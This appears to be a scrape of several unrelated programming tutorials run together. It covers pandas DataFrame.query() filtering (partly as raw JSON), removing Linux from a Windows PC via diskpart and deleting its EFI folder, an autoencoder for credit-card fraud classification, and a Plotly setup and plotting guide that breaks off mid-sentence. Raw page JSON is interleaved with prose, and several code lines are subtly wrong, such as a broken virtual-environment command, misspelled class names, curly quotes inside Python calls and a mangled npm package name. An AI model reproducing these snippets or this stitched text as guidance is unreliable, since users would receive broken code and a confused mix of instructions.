ide.geeksforgeeks.org, generate link and share the link here. Different ways to create Pandas Dataframe Enumerate() in Python How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Python OOPs Concepts Introduction To PYTHON Create a Pandas DataFrame from Lists Python | os.path.join() method Convert integer to string in Python
[ { "code": null, "e": 53, "s": 25, "text": "\n23 Aug, 2019" }, { "code": null, "e": 268, "s": 53, "text": "Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages that makes importing and analyzing data much easier." }, { "code": null, "e": 412, "s": 268, "text": "Analyzing data requires a lot of filtering operations. Pandas provide many methods to filter a Data frame and Dataframe.query() is one of them." }, { "code": null, "e": 467, "s": 412, "text": "Syntax: DataFrame.query(expr, inplace=False, **kwargs)" }, { "code": null, "e": 614, "s": 467, "text": "Parameters:expr: Expression in string form to filter data.inplace: Make changes in the original data frame if Truekwargs: Other keyword arguments." }, { "code": null, "e": 647, "s": 614, "text": "Return type: Filtered Data frame" }, { "code": null, "e": 690, "s": 647, "text": "To download the CSV file used, Click Here." }, { "code": null, "e": 858, "s": 690, "text": "Note: Dataframe.query() method only works if the column name doesn’t have any empty spaces. So before applying the method, spaces in column names are replaced with ‘_’" }, { "code": null, "e": 897, "s": 858, "text": "Example #1: Single condition filtering" }, { "code": null, "e": 1061, "s": 897, "text": "In this example, the data is filtered on the basis of single condition. Before applying the query() method, the spaces in column names have been replaced with ‘_’." }, { "code": "# importing pandas packageimport pandas as pd # making data frame from csv file data = pd.read_csv(\"employees.csv\") # replacing blank spaces with '_' data.columns =[column.replace(\" \", \"_\") for column in data.columns] # filtering with query methoddata.query('Senior_Management == True', inplace = True) # displaydata", "e": 1382, "s": 1061, "text": null }, { "code": null, "e": 1521, "s": 1382, "text": "Output:As shown in the output image, the data now only have rows where Senior Management is True. Example #2: Multiple condition filtering" }, { "code": null, "e": 1682, "s": 1521, "text": "In this example, dataframe has been filtered on multiple conditions. Before applying the query() method, the spaces in column names have been replaced with ‘_’." }, { "code": "# importing pandas packageimport pandas as pd # making data frame from csv file data = pd.read_csv(\"employees.csv\") # replacing blank spaces with '_' data.columns =[column.replace(\" \", \"_\") for column in data.columns] # filtering with query methoddata.query('Senior_Management == True and Gender ==\"Male\" and Team ==\"Marketing\" and First_Name ==\"Johnny\"', inplace = True) # displaydata", "e": 2096, "s": 1682, "text": null }, { "code": null, "e": 2199, "s": 2096, "text": "Output:As shown in the output image, only two rows have been returned on the basis of filters applied." }, { "code": null, "e": 2212, "s": 2199, "text": "Akanksha_Rai" }, { "code": null, "e": 2236, "s": 2212, "text": "Python pandas-dataFrame" }, { "code": null, "e": 2268, "s": 2236, "text": "Python pandas-dataFrame-methods" }, { "code": null, "e": 2282, "s": 2268, "text": "Python-pandas" }, { "code": null, "e": 2289, "s": 2282, "text": "Python" }, { "code": null, "e": 2387, "s": 2289, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2429, "s": 2387, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2451, "s": 2429, "text": "Enumerate() in Python" }, { "code": null, "e": 2483, "s": 2451, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2512, "s": 2483, "text": "*args and **kwargs in Python" }, { "code": null, "e": 2539, "s": 2512, "text": "Python Classes and Objects" }, { "code": null, "e": 2560, "s": 2539, "text": "Python OOPs Concepts" }, { "code": null, "e": 2583, "s": 2560, "text": "Introduction To PYTHON" }, { "code": null, "e": 2620, "s": 2583, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 2651, "s": 2620, "text": "Python | os.path.join() method" } ]
Uninstall Linux completely from a PC with Windows
29 Apr, 2022 We would learn here how to completely uninstall any Linux OS from PC through Windows. This is a procedure that involves to steps-> (i) Delete Linux Partition (ii) Remove Linux OS from EFI System Partition You must be thinking what is EFI System Partition? The EFI system partition (ESP) is a partition on a storage device that is used by computers adhering to the Unified Extensible Firmware Interface (UEFI). When a computer is booted, UEFI firmware loads files stored on the ESP to start installed operating systems either windows or Linux(ubuntu/fedora/mint). Let’s get started with the uninstallation procedure-> (i) Log on to Windows OS in Admin mode. (ii) On the left-corner windows icon right click. (iii) Here you will see options like (iv) Open Disk Management (v) Delete the Partition which does not have a letter (like (C:)) or is not a NTFS partition and is greater than 1GB. (vi) Now you have successfully completed the first Step. (vii) Ubuntu/Fedora(Linux OS) is deleted but on restarting your pc you will still see the grub option so we need to uninstall Linux OS from EFI System Partition too. (viii) Now open the Command Prompt (Admin) ( shown in the options image above ). (ix) Follow these commands-> Note the line after ‘#’ is just to explain the command > diskpart > list disk # select the primary disk > select disk 0 # disk 0 is > list partition # a list of partition is opened Note-> Check which is the system partition (example partition 1 is system partition) > select partition 1 #select the system partition > assign letter=x #disk is now mounted in your explorer verify with (windows+E) >exit #exit from diskpart >x: # this would select this newly mounted disk x: > dir # displays content > cd efi >dir #displays content Note-> You can now see the OS check your Linux OS >rd ubuntu /S #if Linux os is Ubuntu >y #to confirm delete >NOTE:- Restart your PC and the drive X: mounted EFI partition disappears again. CONGRATULATIONS Linux OS is now completely uninstalled. This article is contributed by SHAURYA UPPAL. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. surinderdawra388 Linux-Unix TechTips Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. tar command in Linux with examples curl command in Linux with Examples Conditional Statements | Shell Script 'crontab' in Linux with Examples Tail command in Linux with examples How to Find the Wi-Fi Password Using CMD in Windows? Docker - COPY Instruction Setting up the environment in Java How to Run a Python Script using Docker? Running Python script on GPU.
[ { "code": null, "e": 52, "s": 24, "text": "\n29 Apr, 2022" }, { "code": null, "e": 1329, "s": 52, "text": "We would learn here how to completely uninstall any Linux OS from PC through Windows. This is a procedure that involves to steps-> (i) Delete Linux Partition (ii) Remove Linux OS from EFI System Partition You must be thinking what is EFI System Partition? The EFI system partition (ESP) is a partition on a storage device that is used by computers adhering to the Unified Extensible Firmware Interface (UEFI). When a computer is booted, UEFI firmware loads files stored on the ESP to start installed operating systems either windows or Linux(ubuntu/fedora/mint). Let’s get started with the uninstallation procedure-> (i) Log on to Windows OS in Admin mode. (ii) On the left-corner windows icon right click. (iii) Here you will see options like (iv) Open Disk Management (v) Delete the Partition which does not have a letter (like (C:)) or is not a NTFS partition and is greater than 1GB. (vi) Now you have successfully completed the first Step. (vii) Ubuntu/Fedora(Linux OS) is deleted but on restarting your pc you will still see the grub option so we need to uninstall Linux OS from EFI System Partition too. (viii) Now open the Command Prompt (Admin) ( shown in the options image above ). (ix) Follow these commands-> Note the line after ‘#’ is just to explain the command" }, { "code": null, "e": 1963, "s": 1329, "text": "> diskpart \n> list disk # select the primary disk\n> select disk 0 # disk 0 is \n> list partition # a list of partition is opened\n\nNote-> Check which is the system partition (example partition 1 is system partition)\n\n> select partition 1 #select the system partition\n> assign letter=x #disk is now mounted in your explorer verify with (windows+E)\n>exit #exit from diskpart\n>x: # this would select this newly mounted disk x:\n> dir # displays content\n> cd efi\n>dir #displays content\n\nNote-> You can now see the OS check your Linux OS\n\n>rd ubuntu /S #if Linux os is Ubuntu\n>y #to confirm delete" }, { "code": null, "e": 2271, "s": 1963, "text": ">NOTE:- Restart your PC and the drive X: mounted EFI partition disappears again. CONGRATULATIONS Linux OS is now completely uninstalled. This article is contributed by SHAURYA UPPAL. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 2288, "s": 2271, "text": "surinderdawra388" }, { "code": null, "e": 2299, "s": 2288, "text": "Linux-Unix" }, { "code": null, "e": 2308, "s": 2299, "text": "TechTips" }, { "code": null, "e": 2406, "s": 2308, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2441, "s": 2406, "text": "tar command in Linux with examples" }, { "code": null, "e": 2477, "s": 2441, "text": "curl command in Linux with Examples" }, { "code": null, "e": 2515, "s": 2477, "text": "Conditional Statements | Shell Script" }, { "code": null, "e": 2548, "s": 2515, "text": "'crontab' in Linux with Examples" }, { "code": null, "e": 2584, "s": 2548, "text": "Tail command in Linux with examples" }, { "code": null, "e": 2637, "s": 2584, "text": "How to Find the Wi-Fi Password Using CMD in Windows?" }, { "code": null, "e": 2663, "s": 2637, "text": "Docker - COPY Instruction" }, { "code": null, "e": 2698, "s": 2663, "text": "Setting up the environment in Java" }, { "code": null, "e": 2739, "s": 2698, "text": "How to Run a Python Script using Docker?" } ]
ML | Classifying Data using an Auto-encoder
28 Nov, 2019 Prerequisites: Building an Auto-encoder This article will demonstrate how to use an Auto-encoder to classify data. The data used below is the Credit Card transactions data to predict whether a given transaction is fraudulent or not. The data can be downloaded from here. Step 1: Loading the required libraries import pandas as pd import numpy as npfrom sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegressionfrom sklearn.svm import SVCfrom sklearn.metrics import accuracy_scorefrom sklearn.preprocessing import MinMaxScaler from sklearn.manifold import TSNEimport matplotlib.pyplot as pltimport seaborn as snsfrom keras.layers import Input, Densefrom keras.models import Model, Sequentialfrom keras import regularizers Step 2: Loading the data # Changing the working location to the location of the datacd C:\Users\Dev\Desktop\Kaggle\Credit Card Fraud # Loading the datasetdf = pd.read_csv('creditcard.csv') # Making the Time values appropriate for future workdf['Time'] = df['Time'].apply(lambda x : (x / 3600) % 24) # Separating the normal and fraudulent transactionsfraud = df[df['Class']== 1]normal = df[df['Class']== 0].sample(2500) # Reducing the dataset because of machinery constraintsdf = normal.append(fraud).reset_index(drop = True) # Separating the dependent and independent variablesy = df['Class']X = df.drop('Class', axis = 1) Step 3: Exploring the data a) df.head() b) df.info() c) df.describe() Step 4: Defining a utility function to plot the data def tsne_plot(x, y): # Setting the plotting background sns.set(style ="whitegrid") tsne = TSNE(n_components = 2, random_state = 0) # Reducing the dimensionality of the data X_transformed = tsne.fit_transform(x) plt.figure(figsize =(12, 8)) # Building the scatter plot plt.scatter(X_transformed[np.where(y == 0), 0], X_transformed[np.where(y == 0), 1], marker ='o', color ='y', linewidth ='1', alpha = 0.8, label ='Normal') plt.scatter(X_transformed[np.where(y == 1), 0], X_transformed[np.where(y == 1), 1], marker ='o', color ='k', linewidth ='1', alpha = 0.8, label ='Fraud') # Specifying the location of the legend plt.legend(loc ='best') # Plotting the reduced data plt.show() Step 5: Visualizing the original data tsne_plot(X, y) Note that the data currently is not easily separable. In the following steps, we will try to encode the data using an Auto-encoder and analyze the results. Step 6: Cleaning the data to make it suitable for the Auto-encoder # Scaling the data to make it suitable for the auto-encoderX_scaled = MinMaxScaler().fit_transform(X)X_normal_scaled = X_scaled[y == 0]X_fraud_scaled = X_scaled[y == 1] Step 7: Building the Auto-encoder neural network # Building the Input Layerinput_layer = Input(shape =(X.shape[1], )) # Building the Encoder networkencoded = Dense(100, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(input_layer)encoded = Dense(50, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(encoded)encoded = Dense(25, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(encoded)encoded = Dense(12, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(encoded)encoded = Dense(6, activation ='relu')(encoded) # Building the Decoder networkdecoded = Dense(12, activation ='tanh')(encoded)decoded = Dense(25, activation ='tanh')(decoded)decoded = Dense(50, activation ='tanh')(decoded)decoded = Dense(100, activation ='tanh')(decoded) # Building the Output Layeroutput_layer = Dense(X.shape[1], activation ='relu')(decoded) Step 8: Defining and Training the Auto-encoder # Defining the parameters of the Auto-encoder networkautoencoder = Model(input_layer, output_layer)autoencoder.compile(optimizer ="adadelta", loss ="mse") # Training the Auto-encoder networkautoencoder.fit(X_normal_scaled, X_normal_scaled, batch_size = 16, epochs = 10, shuffle = True, validation_split = 0.20) Step 9: Retaining the encoder part of the Auto-encoder to encode data hidden_representation = Sequential()hidden_representation.add(autoencoder.layers[0])hidden_representation.add(autoencoder.layers[1])hidden_representation.add(autoencoder.layers[2])hidden_representation.add(autoencoder.layers[3])hidden_representation.add(autoencoder.layers[4]) Step 10: Encoding the data and visualizing the encoded data # Separating the points encoded by the Auto-encoder as normal and fraudnormal_hidden_rep = hidden_representation.predict(X_normal_scaled)fraud_hidden_rep = hidden_representation.predict(X_fraud_scaled) # Combining the encoded points into a single table encoded_X = np.append(normal_hidden_rep, fraud_hidden_rep, axis = 0)y_normal = np.zeros(normal_hidden_rep.shape[0])y_fraud = np.ones(fraud_hidden_rep.shape[0])encoded_y = np.append(y_normal, y_fraud) # Plotting the encoded pointstsne_plot(encoded_X, encoded_y) Observe that after encoding the data, the data has come closer to being linearly separable. Thus in some cases, encoding of data can help in making the classification boundary for the data as linear. To analyze this point numerically, we will fit the Linear Logistic Regression model on the encoded data and the Support Vector Classifier on the original data. Step 11: Splitting the original and encoded data into training and testing data # Splitting the encoded data for linear classificationX_train_encoded, X_test_encoded, y_train_encoded, y_test_encoded = train_test_split(encoded_X, encoded_y, test_size = 0.2) # Splitting the original data for non-linear classificationX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2) Step 12: Building the Logistic Regression model and evaluating it’s performance # Building the logistic regression modellrclf = LogisticRegression()lrclf.fit(X_train_encoded, y_train_encoded) # Storing the predictions of the linear modely_pred_lrclf = lrclf.predict(X_test_encoded) # Evaluating the performance of the linear modelprint('Accuracy : '+str(accuracy_score(y_test_encoded, y_pred_lrclf))) Step 13: Building the Support Vector Classifier model and evaluating it’s performance # Building the SVM modelsvmclf = SVC()svmclf.fit(X_train, y_train) # Storing the predictions of the non-linear modely_pred_svmclf = svmclf.predict(X_test) # Evaluating the performance of the non-linear modelprint('Accuracy : '+str(accuracy_score(y_test, y_pred_svmclf))) Thus the performance metrics support the point stated above that encoding the data can sometimes be useful for making a data linearly separable as the performance of the Linear Logistic Regression model is very close to the performance of the Non-Linear Support Vector Classifier model. shubham_singh Machine Learning Python Machine Learning Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n28 Nov, 2019" }, { "code": null, "e": 68, "s": 28, "text": "Prerequisites: Building an Auto-encoder" }, { "code": null, "e": 299, "s": 68, "text": "This article will demonstrate how to use an Auto-encoder to classify data. The data used below is the Credit Card transactions data to predict whether a given transaction is fraudulent or not. The data can be downloaded from here." }, { "code": null, "e": 338, "s": 299, "text": "Step 1: Loading the required libraries" }, { "code": "import pandas as pd import numpy as npfrom sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegressionfrom sklearn.svm import SVCfrom sklearn.metrics import accuracy_scorefrom sklearn.preprocessing import MinMaxScaler from sklearn.manifold import TSNEimport matplotlib.pyplot as pltimport seaborn as snsfrom keras.layers import Input, Densefrom keras.models import Model, Sequentialfrom keras import regularizers", "e": 791, "s": 338, "text": null }, { "code": null, "e": 816, "s": 791, "text": "Step 2: Loading the data" }, { "code": "# Changing the working location to the location of the datacd C:\\Users\\Dev\\Desktop\\Kaggle\\Credit Card Fraud # Loading the datasetdf = pd.read_csv('creditcard.csv') # Making the Time values appropriate for future workdf['Time'] = df['Time'].apply(lambda x : (x / 3600) % 24) # Separating the normal and fraudulent transactionsfraud = df[df['Class']== 1]normal = df[df['Class']== 0].sample(2500) # Reducing the dataset because of machinery constraintsdf = normal.append(fraud).reset_index(drop = True) # Separating the dependent and independent variablesy = df['Class']X = df.drop('Class', axis = 1)", "e": 1419, "s": 816, "text": null }, { "code": null, "e": 1446, "s": 1419, "text": "Step 3: Exploring the data" }, { "code": null, "e": 1449, "s": 1446, "text": "a)" }, { "code": "df.head()", "e": 1459, "s": 1449, "text": null }, { "code": null, "e": 1462, "s": 1459, "text": "b)" }, { "code": "df.info()", "e": 1472, "s": 1462, "text": null }, { "code": null, "e": 1475, "s": 1472, "text": "c)" }, { "code": "df.describe()", "e": 1489, "s": 1475, "text": null }, { "code": null, "e": 1542, "s": 1489, "text": "Step 4: Defining a utility function to plot the data" }, { "code": "def tsne_plot(x, y): # Setting the plotting background sns.set(style =\"whitegrid\") tsne = TSNE(n_components = 2, random_state = 0) # Reducing the dimensionality of the data X_transformed = tsne.fit_transform(x) plt.figure(figsize =(12, 8)) # Building the scatter plot plt.scatter(X_transformed[np.where(y == 0), 0], X_transformed[np.where(y == 0), 1], marker ='o', color ='y', linewidth ='1', alpha = 0.8, label ='Normal') plt.scatter(X_transformed[np.where(y == 1), 0], X_transformed[np.where(y == 1), 1], marker ='o', color ='k', linewidth ='1', alpha = 0.8, label ='Fraud') # Specifying the location of the legend plt.legend(loc ='best') # Plotting the reduced data plt.show()", "e": 2386, "s": 1542, "text": null }, { "code": null, "e": 2424, "s": 2386, "text": "Step 5: Visualizing the original data" }, { "code": "tsne_plot(X, y)", "e": 2440, "s": 2424, "text": null }, { "code": null, "e": 2596, "s": 2440, "text": "Note that the data currently is not easily separable. In the following steps, we will try to encode the data using an Auto-encoder and analyze the results." }, { "code": null, "e": 2663, "s": 2596, "text": "Step 6: Cleaning the data to make it suitable for the Auto-encoder" }, { "code": "# Scaling the data to make it suitable for the auto-encoderX_scaled = MinMaxScaler().fit_transform(X)X_normal_scaled = X_scaled[y == 0]X_fraud_scaled = X_scaled[y == 1]", "e": 2832, "s": 2663, "text": null }, { "code": null, "e": 2881, "s": 2832, "text": "Step 7: Building the Auto-encoder neural network" }, { "code": "# Building the Input Layerinput_layer = Input(shape =(X.shape[1], )) # Building the Encoder networkencoded = Dense(100, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(input_layer)encoded = Dense(50, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(encoded)encoded = Dense(25, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(encoded)encoded = Dense(12, activation ='tanh', activity_regularizer = regularizers.l1(10e-5))(encoded)encoded = Dense(6, activation ='relu')(encoded) # Building the Decoder networkdecoded = Dense(12, activation ='tanh')(encoded)decoded = Dense(25, activation ='tanh')(decoded)decoded = Dense(50, activation ='tanh')(decoded)decoded = Dense(100, activation ='tanh')(decoded) # Building the Output Layeroutput_layer = Dense(X.shape[1], activation ='relu')(decoded)", "e": 3789, "s": 2881, "text": null }, { "code": null, "e": 3836, "s": 3789, "text": "Step 8: Defining and Training the Auto-encoder" }, { "code": "# Defining the parameters of the Auto-encoder networkautoencoder = Model(input_layer, output_layer)autoencoder.compile(optimizer =\"adadelta\", loss =\"mse\") # Training the Auto-encoder networkautoencoder.fit(X_normal_scaled, X_normal_scaled, batch_size = 16, epochs = 10, shuffle = True, validation_split = 0.20)", "e": 4180, "s": 3836, "text": null }, { "code": null, "e": 4250, "s": 4180, "text": "Step 9: Retaining the encoder part of the Auto-encoder to encode data" }, { "code": "hidden_representation = Sequential()hidden_representation.add(autoencoder.layers[0])hidden_representation.add(autoencoder.layers[1])hidden_representation.add(autoencoder.layers[2])hidden_representation.add(autoencoder.layers[3])hidden_representation.add(autoencoder.layers[4])", "e": 4527, "s": 4250, "text": null }, { "code": null, "e": 4587, "s": 4527, "text": "Step 10: Encoding the data and visualizing the encoded data" }, { "code": "# Separating the points encoded by the Auto-encoder as normal and fraudnormal_hidden_rep = hidden_representation.predict(X_normal_scaled)fraud_hidden_rep = hidden_representation.predict(X_fraud_scaled) # Combining the encoded points into a single table encoded_X = np.append(normal_hidden_rep, fraud_hidden_rep, axis = 0)y_normal = np.zeros(normal_hidden_rep.shape[0])y_fraud = np.ones(fraud_hidden_rep.shape[0])encoded_y = np.append(y_normal, y_fraud) # Plotting the encoded pointstsne_plot(encoded_X, encoded_y)", "e": 5103, "s": 4587, "text": null }, { "code": null, "e": 5463, "s": 5103, "text": "Observe that after encoding the data, the data has come closer to being linearly separable. Thus in some cases, encoding of data can help in making the classification boundary for the data as linear. To analyze this point numerically, we will fit the Linear Logistic Regression model on the encoded data and the Support Vector Classifier on the original data." }, { "code": null, "e": 5543, "s": 5463, "text": "Step 11: Splitting the original and encoded data into training and testing data" }, { "code": "# Splitting the encoded data for linear classificationX_train_encoded, X_test_encoded, y_train_encoded, y_test_encoded = train_test_split(encoded_X, encoded_y, test_size = 0.2) # Splitting the original data for non-linear classificationX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2)", "e": 5855, "s": 5543, "text": null }, { "code": null, "e": 5935, "s": 5855, "text": "Step 12: Building the Logistic Regression model and evaluating it’s performance" }, { "code": "# Building the logistic regression modellrclf = LogisticRegression()lrclf.fit(X_train_encoded, y_train_encoded) # Storing the predictions of the linear modely_pred_lrclf = lrclf.predict(X_test_encoded) # Evaluating the performance of the linear modelprint('Accuracy : '+str(accuracy_score(y_test_encoded, y_pred_lrclf)))", "e": 6258, "s": 5935, "text": null }, { "code": null, "e": 6344, "s": 6258, "text": "Step 13: Building the Support Vector Classifier model and evaluating it’s performance" }, { "code": "# Building the SVM modelsvmclf = SVC()svmclf.fit(X_train, y_train) # Storing the predictions of the non-linear modely_pred_svmclf = svmclf.predict(X_test) # Evaluating the performance of the non-linear modelprint('Accuracy : '+str(accuracy_score(y_test, y_pred_svmclf)))", "e": 6617, "s": 6344, "text": null }, { "code": null, "e": 6904, "s": 6617, "text": "Thus the performance metrics support the point stated above that encoding the data can sometimes be useful for making a data linearly separable as the performance of the Linear Logistic Regression model is very close to the performance of the Non-Linear Support Vector Classifier model." }, { "code": null, "e": 6918, "s": 6904, "text": "shubham_singh" }, { "code": null, "e": 6935, "s": 6918, "text": "Machine Learning" }, { "code": null, "e": 6942, "s": 6935, "text": "Python" }, { "code": null, "e": 6959, "s": 6942, "text": "Machine Learning" } ]
Plotly - Quick Guide
Plotly is a Montreal based technical computing company involved in development of data analytics and visualisation tools such as Dash and Chart Studio. It has also developed open source graphing Application Programming Interface (API) libraries for Python, R, MATLAB, Javascript and other computer programming languages. Some of the important features of Plotly are as follows − It produces interactive graphs. It produces interactive graphs. The graphs are stored in JavaScript Object Notation (JSON) data format so that they can be read using scripts of other programming languages such as R, Julia, MATLAB etc. The graphs are stored in JavaScript Object Notation (JSON) data format so that they can be read using scripts of other programming languages such as R, Julia, MATLAB etc. Graphs can be exported in various raster as well as vector image formats Graphs can be exported in various raster as well as vector image formats This chapter focusses on how to do the environmental set up in Python with the help of Plotly. It is always recommended to use Python’s virtual environment feature for installation of a new package. Following command creates a virtual environment in the specified folder. python -m myenv To activate the so created virtual environment run activate script in bin sub folder as shown below. source bin/activate Now we can install plotly’s Python package as given below using pip utility. pip install plotly You may also want to install Jupyter notebook app which is a web based interface to Ipython interpreter. pip install jupyter notebook Firstly, you need to create an account on website which is available at https://plot.ly. You can sign up by using the link mentioned herewith https://plot.ly/api_signup and then log in successfully. Next, obtain the API key from settings page of your dashboard. Use your username and API key to set up credentials on Python interpreter session. import plotly plotly.tools.set_credentials_file(username='test', api_key='********************') A special file named credentials is created in .plotly subfolder under your home directory. It looks similar to the following − { "username": "test", "api_key": "********************", "proxy_username": "", "proxy_password": "", "stream_ids": [] } In order to generate plots, we need to import the following module from plotly package − import plotly.plotly as py import plotly.graph_objs as go plotly.plotly module contains the functions that will help us communicate with the Plotly servers. Functions in plotly.graph_objs module generates graph objects The following chapter deals with the settings for the online and offline plotting. Let us first study the settings for online plotting. Data and graph of online plot are save in your plot.ly account. Online plots are generated by two methods both of which create a unique url for the plot and save it in your Plotly account. py.plot() − returns the unique url and optionally open the url. py.plot() − returns the unique url and optionally open the url. py.iplot() − when working in a Jupyter Notebook to display the plot in the notebook. py.iplot() − when working in a Jupyter Notebook to display the plot in the notebook. We shall now display simple plot of angle in radians vs. its sine value. First, obtain ndarray object of angles between 0 and 2π using arange() function from numpy library. This ndarray object serves as values on x axis of the graph. Corresponding sine values of angles in x which has to be displayed on y axis are obtained by following statements − import numpy as np import math #needed for definition of pi xpoints = np.arange(0, math.pi*2, 0.05) ypoints = np.sin(xpoints) Next, create a scatter trace using Scatter() function in graph_objs module. trace0 = go.Scatter( x = xpoints, y = ypoints ) data = [trace0] Use above list object as argument to plot() function. py.plot(data, filename = 'Sine wave', auto_open=True) Save following script as plotly1.py import plotly plotly.tools.set_credentials_file(username='lathkar', api_key='********************') import plotly.plotly as py import plotly.graph_objs as go import numpy as np import math #needed for definition of pi xpoints = np.arange(0, math.pi*2, 0.05) ypoints = np.sin(xpoints) trace0 = go.Scatter( x = xpoints, y = ypoints ) data = [trace0] py.plot(data, filename = 'Sine wave', auto_open=True) Execute the above mentioned script from command line. Resultant plot will be displayed in the browser at specified URL as stated below. $ python plotly1.py High five! You successfully sent some data to your account on plotly. View your plot in your browser at https://plot.ly/~lathkar/0 Just above the displayed graph, you will find tabs Plot, Data, Python & Rand Forking history. Currently, Plot tab is selected. The Data tab shows a grid containing x and y data points. From Python & R tab, you can view code corresponding to current plot in Python, R, JSON, Matlab etc. Following snapshot shows Python code for the plot as generated above − Plotly allows you to generate graphs offline and save them in local machine. The plotly.offline.plot() function creates a standalone HTML that is saved locally and opened inside your web browser. Use plotly.offline.iplot() when working offline in a Jupyter Notebook to display the plot in the notebook. Note − Plotly's version 1.9.4+ is needed for offline plotting. Change plot() function statement in the script and run. A HTML file named temp-plot.html will be created locally and opened in web browser. plotly.offline.plot( { "data": data,"layout": go.Layout(title = "hello world")}, auto_open = True) In this chapter, we will study how to do inline plotting with the Jupyter Notebook. In order to display the plot inside the notebook, you need to initiate plotly’s notebook mode as follows − from plotly.offline import init_notebook_mode init_notebook_mode(connected = True) Keep rest of the script as it is and run the notebook cell by pressing Shift+Enter. Graph will be displayed offline inside the notebook itself. import plotly plotly.tools.set_credentials_file(username = 'lathkar', api_key = '************') from plotly.offline import iplot, init_notebook_mode init_notebook_mode(connected = True) import plotly import plotly.graph_objs as go import numpy as np import math #needed for definition of pi xpoints = np.arange(0, math.pi*2, 0.05) ypoints = np.sin(xpoints) trace0 = go.Scatter( x = xpoints, y = ypoints ) data = [trace0] plotly.offline.iplot({ "data": data,"layout": go.Layout(title="Sine wave")}) Jupyter notebook output will be as shown below − The plot output shows a tool bar at top right. It contains buttons for download as png, zoom in and out, box and lasso, select and hover. Plotly Python package has three main modules which are given below − plotly.plotly plotly.graph_objs plotly.tools The plotly.plotly module contains functions that require a response from Plotly's servers. Functions in this module are interface between your local machine and Plotly. The plotly.graph_objs module is the most important module that contains all of the class definitions for the objects that make up the plots you see. Following graph objects are defined − Figure, Data, ayout, Different graph traces like Scatter, Box, Histogram etc. All graph objects are dictionary- and list-like objects used to generate and/or modify every feature of a Plotly plot. The plotly.tools module contains many helpful functions facilitating and enhancing the Plotly experience. Functions for subplot generation, embedding Plotly plots in IPython notebooks, saving and retrieving your credentials are defined in this module. A plot is represented by Figure object which represents Figure class defined in plotly.graph_objs module. It’s constructor needs following parameters − import plotly.graph_objs as go fig = go.Figure(data, layout, frames) The data parameter is a list object in Python. It is a list of all the traces that you wish to plot. A trace is just the name we give to a collection of data which is to be plotted. A trace object is named according to how you want the data displayed on the plotting surface. Plotly provides number of trace objects such as scatter, bar, pie, heatmap etc. and each is returned by respective functions in graph_objs functions. For example: go.scatter() returns a scatter trace. import numpy as np import math #needed for definition of pi xpoints=np.arange(0, math.pi*2, 0.05) ypoints=np.sin(xpoints) trace0 = go.Scatter( x = xpoints, y = ypoints ) data = [trace0] The layout parameter defines the appearance of the plot, and plot features which are unrelated to the data. So we will be able to change things like the title, axis titles, annotations, legends, spacing, font and even draw shapes on top of your plot. layout = go.Layout(title = "Sine wave", xaxis = {'title':'angle'}, yaxis = {'title':'sine'}) A plot can have plot title as well as axis title. It also may have annotations to indicate other descriptions. Finally, there is a Figure object created by go.Figure() function. It is a dictionary-like object that contains both the data object and the layout object. The figure object is eventually plotted. py.iplot(fig) Outputs of offline graphs can be exported to various raster and vector image formats. For that purpose, we need to install two dependencies – orca and psutil. Orca stands for Open-source Report Creator App. It is an Electron app that generates images and reports of plotly graphs, dash apps, dashboards from the command line. Orca is the backbone of Plotly's Image Server. psutil (python system and process utilities) is a cross-platform library for retrieving information on running processes and system utilization in Python. It implements many functionalities offered by UNIX command line tools such as: ps, top, netstat, ifconfig, who, etc. psutil supports all major operating systems such as Linux, Windows and MacOs If you are using Anaconda distribution of Python, installation of orca and psutil is very easily done by conda package manager as follows − conda install -c plotly plotly-orca psutil Since, orca is not available in PyPi repository. You can instead use npm utility to install it. npm install -g [email protected] orca Use pip to install psutil pip install psutil If you are not able to use npm or conda, prebuilt binaries of orca can also be downloaded from the following website which is available at https://github.com/plotly/orca/releases. To export Figure object to png, jpg or WebP format, first, import plotly.io module import plotly.io as pio Now, we can call write_image() function as follows − pio.write_image(fig, ‘sinewave.png’) pio.write_image(fig, ‘sinewave.jpeg’) pio.write_image(fig,’sinewave.webp) The orca tool also supports exporting plotly to svg, pdf and eps formats. Pio.write_image(fig, ‘sinewave.svg’) pio.write_image(fig, ‘sinewave.pdf’) In Jupyter notebook, the image object obtained by pio.to_image() function can be displayed inline as follows − By default, Plotly chart with multiple traces shows legends automatically. If it has only one trace, it is not displayed automatically. To display, set showlegend parameter of Layout object to True. layout = go.Layoyt(showlegend = True) Default labels of legends are trace object names. To set legend label explicitly set name property of trace. In following example, two scatter traces with name property are plotted. import numpy as np import math #needed for definition of pi xpoints = np.arange(0, math.pi*2, 0.05) y1 = np.sin(xpoints) y2 = np.cos(xpoints) trace0 = go.Scatter( x = xpoints, y = y1, name='Sine' ) trace1 = go.Scatter( x = xpoints, y = y2, name = 'cos' ) data = [trace0, trace1] layout = go.Layout(title = "Sine and cos", xaxis = {'title':'angle'}, yaxis = {'title':'value'}) fig = go.Figure(data = data, layout = layout) iplot(fig) The plot appears as below − You can configure appearance of each axis by specifying the line width and color. It is also possible to define grid width and grid color. Let us learn about the same in detail in this chapter. In the Layout object’s properties, setting showticklabels to true will enable ticks. The tickfont property is a dict object specifying font name, size, color, etc. The tickmode property can have two 